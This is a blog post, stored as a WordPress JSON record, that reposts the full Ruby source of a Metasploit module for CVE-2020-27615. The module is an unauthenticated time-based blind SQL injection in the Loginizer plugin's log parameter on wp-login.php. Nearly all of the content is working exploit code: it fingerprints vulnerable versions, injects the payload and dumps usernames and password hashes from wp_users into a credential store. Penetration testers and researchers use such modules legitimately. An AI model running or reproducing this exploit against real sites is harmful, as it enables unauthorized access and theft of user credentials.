{"id":59348,"date":"2024-09-01T19:20:23","date_gmt":"2024-09-01T16:20:23","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181073\/wp_loginizer_log_sqli.rb.txt"},"modified":"2024-09-01T19:20:23","modified_gmt":"2024-09-01T16:20:23","slug":"wordpress-loginizer-log-sql-injection-scanner","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-loginizer-log-sql-injection-scanner\/","title":{"rendered":"WordPress Loginizer Log SQL Injection Scanner"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HTTP::Wordpress<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Exploit::SQLi<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;WordPress Loginizer log SQLi Scanner&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Loginizer wordpress plugin contains an unauthenticated timebased SQL injection in<br \/>versions before 1.6.4. The vulnerable parameter is in the log parameter.<br \/>Wordpress has forced updates of the plugin to all servers<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die&#8217;, # msf module<br \/>&#8216;red0xff&#8217;, # sqli help<br \/>&#8216;mslavco&#8217; # discovery<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/wpdeeply.com\/loginizer-before-1-6-4-sqli-injection\/&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2020-27615&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/loginizer.com\/blog\/loginizer-1-6-4-security-fix\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/twitter.com\/mslavco\/status\/1318877097184604161&#8217;]],<br \/>&#8216;Actions&#8217; =&gt; [<br \/>[&#8216;List Users&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Queries username, password hash for COUNT users&#8217; }],<br \/>],<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS]},<br \/>&#8216;DefaultAction&#8217; =&gt; &#8216;List Users&#8217;,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2020-10-21&#8217;<br \/>)<br \/>)<br \/>register_options [<br \/>OptInt.new(&#8216;COUNT&#8217;, [false, &#8216;Number of users to enumerate&#8217;, 1])<br \/>]end<\/p>\n<p>def run_host(ip)<br \/>unless wordpress_and_online?<br \/>vprint_error(&#8216;Server not online or not detected as wordpress&#8217;)<br \/>return<br \/>end<\/p>\n<p>wp_ver = wordpress_version<br \/>if wp_ver.nil?<br \/>vprint_error(&#8216;Unable to determine wordpress version, check settings.&#8217;)<br \/>return<br \/>end<\/p>\n<p>if Rex::Version.new(wp_ver) &lt; Rex::Version.new(&#8216;5.4&#8217;)<br \/>vprint_error(&#8220;Wordpress (core) #{wp_ver} is unexploitable. Version 5.4+ required.&#8221;)<br \/>return<br \/>end<\/p>\n<p>checkcode = check_plugin_version_from_readme(&#8216;loginizer&#8217;, &#8216;1.6.4&#8217;)<br \/>if checkcode == Msf::Exploit::CheckCode::Safe<br \/>vprint_error(&#8216;Loginizer version not vulnerable&#8217;)<br \/>return<br \/>else<br \/>print_good(&#8216;Vulnerable version of Loginizer detected&#8217;)<br \/>end<\/p>\n<p>cookie = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;wp-login.php&#8217;)<br \/>})<br \/>if cookie.nil?<br \/>print_error(&#8216;Unable to retrieve wordpress cookie, check settings.&#8217;)<br \/>return<br \/>end<br \/>cookie = cookie.get_cookies<br \/>password = Rex::Text.rand_text_alpha(10)<\/p>\n<p>@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|<br \/>if payload.include?(&#8216;&lt;&#8216;)<br \/>payload.gsub!(\/&lt;&gt;\/, &#8216;=&#8217;)<br \/>payload.gsub!(\/(sleep\\(\\d+\\.?\\d*\\)),0\/) { &#8220;0,#{Regexp.last_match(1)}&#8221; }<br \/>end<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;wp-login.php&#8217;),<br \/>&#8216;cookie&#8217; =&gt; cookie,<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;log&#8217; =&gt; &#8220;&#8216;,ip=LEFT(UUID(),8),url=#{payload}#&#8221;,<br \/>&#8216;pwd&#8217; =&gt; password,<br \/>&#8216;wp-submit&#8217; =&gt; &#8216;Login&#8217;,<br \/>&#8216;redirect_to&#8217; =&gt; &#8221;,<br \/>&#8216;testcookie&#8217; =&gt; &#8216;1&#8217;<br \/>}<br \/>})<br \/>fail_with Failure::Unreachable, &#8216;Connection failed&#8217; unless res<br \/>end<br \/>unless @sqli.test_vulnerable<br \/>print_bad(&#8220;#{peer} &#8211; Testing of SQLi failed. If this is time based, try increasing SqliDelay.&#8221;)<br \/>return<br \/>end<\/p>\n<p>columns = [&#8216;user_login&#8217;, &#8216;user_pass&#8217;]results = @sqli.dump_table_fields(&#8216;wp_users&#8217;, columns, &#8221;, datastore[&#8216;COUNT&#8217;])<br \/>table = Rex::Text::Table.new(&#8216;Header&#8217; =&gt; &#8216;wp_users&#8217;, &#8216;Indent&#8217; =&gt; 1, &#8216;Columns&#8217; =&gt; columns)<br \/>results.each do |user|<br \/>create_credential({<br \/>workspace_id: myworkspace_id,<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: user[0],<br \/>private_type: :nonreplayable_hash,<br \/>jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),<br \/>private_data: user[1],<br \/>service_name: &#8216;Wordpress&#8217;,<br \/>address: ip,<br \/>port: datastore[&#8216;RPORT&#8217;],<br \/>protocol: &#8216;tcp&#8217;,<br \/>status: Metasploit::Model::Login::Status::UNTRIED<br \/>})<br \/>table &lt;&lt; user<br \/>end<br \/>print_good(table.to_s)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HTTP::Wordpressinclude Msf::Auxiliary::Scannerinclude Msf::Exploit::SQLi def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;WordPress Loginizer log SQLi Scanner&#8217;,&#8216;Description&#8217; =&gt; %q{Loginizer wordpress plugin contains an unauthenticated timebased SQL injection inversions before 1.6.4. The vulnerable parameter is in the log parameter.Wordpress has forced updates of the plugin to all &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59348","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59348","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59348"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59348\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59348"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59348"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59348"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}